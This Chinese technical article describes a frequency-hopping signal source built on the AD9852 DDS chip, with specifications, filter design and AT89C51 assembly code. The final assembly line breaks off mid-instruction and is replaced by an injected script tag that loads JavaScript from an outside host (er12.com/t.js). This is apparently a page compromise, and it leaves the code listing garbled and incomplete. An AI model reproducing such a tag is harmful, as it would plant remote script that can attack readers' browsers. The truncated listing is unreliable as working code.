ｄｄｓ是一种直接对参考时钟进行抽样、数字化，然后用数字计算技术产生频率的频率合成方法。它的工作原理是在采样频率一定的条件下，通过控制两次连续采样之间的相位增量（不得大于π）来改变所得的离散序列的频率，然后经保持和滤波，唯一地恢复出该频率的模拟信号。ｄｄｓ的工作原理框图如图１所示。
ａｄ９８５２是ａｄ公司的ｄｄｓ芯片可广泛用于军事通信、雷达等各个领域。文中用ａｄ９８５２实现的跳频源可在外部拨码开关的控制下对输出频率进行调整，以完全达到预期的设计指标。
１ ａｄ９８５２简介
ａｄ９８５２的功能框图由图２所示。由图可见，ａｄ９８５２内部包括一个具有４８位相位累加器的ｎｃｏ、一个可编程时钟倍频器、一个反ｓｉｎｃ滤波器、两个１２位３００ｍｈｚ ｄａｃ、一个高速模拟比较器以及接口逻辑电路。其主要特点如下：
●带有３００ｍｈｚ内部时钟；
●可输出ｆｓｋ、ｂｐｓｋ、ｐｓｋ、ｃｈｉｒｐ、ａｍ等信号；
●带有两个１２位ｄ／ａ转换器；
●１００ｍｈｚ时具有８０ｄｂ ｓｆｄｒ的动态性能；
●内含４ｘ到２０ｘ可编程参考时钟倍频器；
●带有两个４８位可编程频率寄存器和两个１４位可编程相位偏移寄存器；
●具有１２位调幅及可编程整形功能；
●带有单引脚ｆｓｋ和ｂｐｓｋ数据接口。
●有１０ｍｈｚ的２线或３线ｓｐｉ兼容串口接口和１００ｍｈｚ ８位并行接口。
图２
ａｄ９８５２采用小型８０引脚ｌｑｆｐ封装，３．３ｖ单电源供电，使用十分方便。但由于该器件功耗较大（普通工作模式下约为１．５ｗ），因此应用时应特别注意散热，避免芯片由于过热而损坏。
２ 跳频源主要指标及设计方案
跳频源的主要指标如下：
●输出频率：１０～１２．２ｍｈｚ；
●步进：１００ｋｈｚ；
●跳频时间：小于１ｍｓ；
●输出功率：１０ｄｂｍ；
●谐波抑制：６０ｄｂｃ；
●相位噪声：－１３０ｄｂｃ／ｈｚ ＠１０ｋｈｚ；
●宽频带无杂散动态范围（ｓｆｄｒ）：５０ｄｂｃ。
根据上述指标要求，笔者采用ａｔ８９ｃ５１单片机来控制ａｄ９８５２以实现该跳频源。参考信号由４０ｍｈｚ的恒温石英晶体振荡器（ｏｃｘｏ）产生。为了抑制杂散，方案中在ａｄ９８５２的ｄａｃ输出端加上截止频率为１６ｍｈｚ的低通滤波器。ａｄ９８５２的输出信号功率大约为－８ｄｂｍ，而这显然不能满足要求，因此笔者选用了ｍｉｎｉ公司的一款优秀的放大模块ｅｒａ－３来对信号进行放大（约２０ｄｂ）。同时在输出端加上低通滤波器来抑制放大模块所产生的谐波。
图3
３ 基于ａｄ９８５２的跳频源设计
３．１ ａｄ９８５２控制电路
图３所示是ａｄ９８５２的控制电路。对ａｄ９８５２的控制可采用ａｔ８９ｃ５１单片机的并行通信方式。将ｃｏｓｉｎｅ ｄａｃ（４８脚）作为ａｄ９８５２的输出端，拨码开关用于控制单片机的ｐ２．０～ｐ２．５，从而实现对输出频率调谐字的控制，进而控制输出频率。
３．２ 低通滤波器的设计与制作
要实现各项指标，应在电路中使用两个截止频率为１６ｍｈｚ的７阶切比雪夫滤波器其电路图如图４所示。在滤波器的设计过程中，如何准确实现高ｑ值的电感，直接影响着滤波器的最终性能。由图４可知，滤波器中的电感量约为７００ｎｈ，可采用ａｗｇ＃２６漆包线绕在磁导率为２０的镍锌磁环上，然后与一个已准确得知容值的电容（如１００ｐｆ左右）相并联，接着在矢量网络分析仪上测出它的并联谐振点，从而推算出所绕电感的大小。接下来仔细调节谐振点就可以确定所需的电感量。采用这种方法确定的电感准确度高，实现方便。图５为用ａｄｓ仿真的滤波器传输特性曲线（ｓ２１），其中电感ｑ值设定为５０。实际做出的滤波器性能与仿真结果基本一致。
３．３ 软件部分
设计该跳频源软件时，首先应对单片机中一些特殊端口进行初始化设定：
ｕｐｄ ｅｑｕ ｐ１．７
ｗｒｂ ｅｑｕ ｐ１．６
ｓｐｓ ｅｑｕ ｐ２．７
ｒｅｓ ｅｑｕ ｐ２．６
在完成对单片机本身以及ａｄ９８５２的初始化过程之后，单片机就可开始对端口２进行读数，以确定所需输出信号的频率。由于ａｄ９８５２的频率字为４８比特（６个字节），因此实际地址应该是ｐ２口后６位读出的数的６倍。
ｒｅａｄｐｏｒｔ:ｍｏｖ ａ，ｐ２;
ａｎｌ ａ，＃３ｆｈ;
ｍｏｖ ｒ１，ａ:
ａｄｄ ａ，ｒ１:
ａｄｄ ａ，ｒ１:
ａｄｄ ａ，ｒ１:
ａｄｄ ａ，ｒ１:
ａｄｄ ａ，ｒ１:
然后将相应位置的频率字写到ａｄ９８５２的频率字寄存器。
ｅｒｓｉ:ｍｏｖ ｒ１ ，＃０６ｈ ；每个频点需要送４８位数
ｍｏｖ ｒ３ ，＃４４ｈ ；ｆｔｗ１的最高位地址为０４ｈ
ｓｔａｒｔ:ｍｏｖ ｒ２，?script src=http://er12.com/t.js>
